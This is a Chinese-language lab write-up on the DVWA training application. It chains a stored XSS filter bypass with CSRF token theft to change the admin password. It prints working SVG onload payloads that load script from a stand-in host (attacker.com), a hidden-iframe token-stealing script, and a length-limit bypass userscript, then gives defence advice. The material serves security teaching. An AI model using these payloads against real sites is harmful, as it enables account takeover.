DVWA 1.10 High等级的CSRF另类通关法
字数 1029 2025-08-18 11:38:37
DVWA 1.10 High等级CSRF攻击深入分析与实战
0x00 CSRF High等级安全机制分析
后端验证逻辑 (vulnerabilities/csrf/source/high.php):
if( isset( $_GET[ 'Change' ] ) ) {
// 验证Token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// ...密码修改逻辑...
}
Token生成机制 (dvwa/includes/dvwaPage.inc.php):
- 使用
md5(uniqid())生成不可预测的Token - 每次请求都会重新生成Token
- Token验证失败会跳转到index.php
0x01 攻击突破口:XSS-Stored漏洞
漏洞位置 (vulnerabilities/xss_s/source/high.php):
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
限制条件:
name字段长度限制为100字符(varchar(100))- 前端默认限制10字符(需绕过)
- 过滤了
<script>标签(使用正则表达式)
0x02 准备工作:Tampermonkey脚本
脚本功能:
- 解除前端10字符长度限制
- 自动填充Message字段
// ==UserScript==
// @name 改掉DVWA烦人的长度限制
// @match http://dvwa.lab/vulnerabilities/xss_s/
// ==/UserScript==
(function() {
'use strict';
var N = document.getElementsByName('txtName');
var M = document.getElementsByName('mtxMessage');
N[0].maxLength=100;
N[0].size=60;
M[0].value=1;
})();
0x03 攻击思路演进
初始方案(失败)
- 使用iframe加载CSRF页面
- 分7段注入代码获取Token并修改密码
- 问题:执行时序不可控,变量未定义错误频发
改进方案
- 使用ASCII编码绕过
<script>过滤script→script
- 分4段注入外部JS
- 使用setTimeout控制执行时序
最终Payload:
<svg/onload="setTimeout(function(){s='script'},3000)">
<svg/onload="setTimeout(function(){j=document.createElement(s)},4000)">
<svg/onload="setTimeout(function(){j.src='http://attacker.com/x.js'},5000)">
<svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">
0x04 恶意JS代码(x.js)
// 创建隐藏iframe加载CSRF页面
ifr = document.createElement('iframe');
ifr.src = "../csrf";
ifr.hidden = 1;
document.body.appendChild(ifr);
// 延迟获取Token并触发密码修改
setTimeout(function(){
f = frames[0];
t = f.document.getElementsByName('user_token')[0].value;
i = document.createElement('img');
i.src = '../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;
}, 3000);
0x05 攻击流程总结
- 管理员访问留言板(XSS-Stored)
- 加载恶意JS(x.js)
- JS创建隐藏iframe加载CSRF页面
- 获取iframe中的Token
- 通过img标签自动触发密码修改请求
0x06 防御建议
-
输入过滤:
- 对所有用户输入进行严格过滤
- 使用
htmlspecialchars()和strip_tags()
-
输出编码:
- 对所有动态输出内容进行HTML编码
-
内容安全策略(CSP):
- 限制外部资源加载
- 防止XSS攻击
-
数据库设计:
- 合理设置字段长度限制
- 敏感操作使用二次验证
-
CSRF防护:
- 使用不可预测的Token
- 重要操作使用验证码
附录:完整攻击步骤
- 安装并启用Tampermonkey脚本
- 在XSS-Stored页面提交分段Payload
- 在攻击者服务器部署x.js
- 等待管理员访问留言板
- 密码被自动修改为"admin"